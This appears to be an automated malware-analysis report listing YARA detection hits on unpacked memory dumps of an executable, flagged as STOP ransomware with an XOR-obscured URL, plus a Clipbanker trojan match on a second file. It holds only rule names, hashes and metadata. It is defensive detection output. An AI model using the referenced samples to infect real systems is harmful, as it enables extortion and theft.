Source: 5.0.U59WtZz2Sg.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 4.2.U59WtZz2Sg.exe.22815a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 4.2.U59WtZz2Sg.exe.22815a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 4.2.U59WtZz2Sg.exe.22815a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 6.0.U59WtZz2Sg.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 6.0.U59WtZz2Sg.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 6.0.U59WtZz2Sg.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 9.0.U59WtZz2Sg.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 17.0.U59WtZz2Sg.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 17.0.U59WtZz2Sg.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 17.0.U59WtZz2Sg.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 16.2.U59WtZz2Sg.exe.22315a0.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 16.2.U59WtZz2Sg.exe.22315a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 16.2.U59WtZz2Sg.exe.22315a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 6.0.U59WtZz2Sg.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 6.0.U59WtZz2Sg.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 6.0.U59WtZz2Sg.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 17.0.U59WtZz2Sg.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 1.0.U59WtZz2Sg.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 1.0.U59WtZz2Sg.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 1.0.U59WtZz2Sg.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 5.0.U59WtZz2Sg.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 5.0.U59WtZz2Sg.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 5.0.U59WtZz2Sg.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 5.0.U59WtZz2Sg.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 1.0.U59WtZz2Sg.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 1.0.U59WtZz2Sg.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 1.0.U59WtZz2Sg.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 6.0.U59WtZz2Sg.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 6.0.U59WtZz2Sg.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 6.0.U59WtZz2Sg.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 6.0.U59WtZz2Sg.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 6.0.U59WtZz2Sg.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 6.0.U59WtZz2Sg.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 11.0.build3.exe.b90000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 11.0.build3.exe.b90000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 6.0.U59WtZz2Sg.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 6.0.U59WtZz2Sg.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 6.0.U59WtZz2Sg.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 6.2.U59WtZz2Sg.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 6.2.U59WtZz2Sg.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 6.2.U59WtZz2Sg.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 17.0.U59WtZz2Sg.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 6.0.U59WtZz2Sg.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 6.0.U59WtZz2Sg.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 6.0.U59WtZz2Sg.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 3.2.U59WtZz2Sg.exe.21e15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 3.2.U59WtZz2Sg.exe.21e15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 3.2.U59WtZz2Sg.exe.21e15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 6.0.U59WtZz2Sg.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 6.0.U59WtZz2Sg.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 6.0.U59WtZz2Sg.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 9.0.U59WtZz2Sg.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 9.0.U59WtZz2Sg.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 9.0.U59WtZz2Sg.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 17.0.U59WtZz2Sg.exe.400000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0.2.U59WtZz2Sg.exe.22215a0.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 0.2.U59WtZz2Sg.exe.22215a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0.2.U59WtZz2Sg.exe.22215a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 1.0.U59WtZz2Sg.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 1.0.U59WtZz2Sg.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 1.0.U59WtZz2Sg.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 9.0.U59WtZz2Sg.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 9.0.U59WtZz2Sg.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 9.0.U59WtZz2Sg.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 9.0.U59WtZz2Sg.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 1.2.U59WtZz2Sg.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 1.2.U59WtZz2Sg.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 1.2.U59WtZz2Sg.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 5.0.U59WtZz2Sg.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 5.0.U59WtZz2Sg.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 5.0.U59WtZz2Sg.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 5.0.U59WtZz2Sg.exe.400000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 9.0.U59WtZz2Sg.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 9.0.U59WtZz2Sg.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 9.0.U59WtZz2Sg.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
